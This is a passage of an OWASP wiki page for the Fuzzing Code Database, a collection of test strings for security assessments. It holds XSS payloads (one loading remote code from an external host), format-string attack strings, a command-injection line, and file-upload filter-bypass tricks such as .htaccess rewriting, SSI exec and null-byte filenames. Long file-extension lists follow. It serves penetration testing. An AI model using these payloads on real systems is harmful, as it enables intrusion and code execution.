--&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80061 2010-03-17T20:38:52Z

<p>Adam.muntner: /* (Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 - notes ===<br /> # File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> <br /> # For mod_cgi Server Side Include upload attacks<br /> #&lt;pre&gt;<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #&lt;/pre&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;pre&gt;<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #&lt;/pre&gt;<br /> <br /> # Sometimes you can overwrite .htacces in an upload folder on Apache httpd, try setting .jpg to ex<br /> ecutable<br /> # example .htaccess:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> # Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> %00index.html<br /> ;index.html<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> # Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> <br /> # Commonly writable directories<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> <br /> <br /> <br /> === (Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863) ===<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> 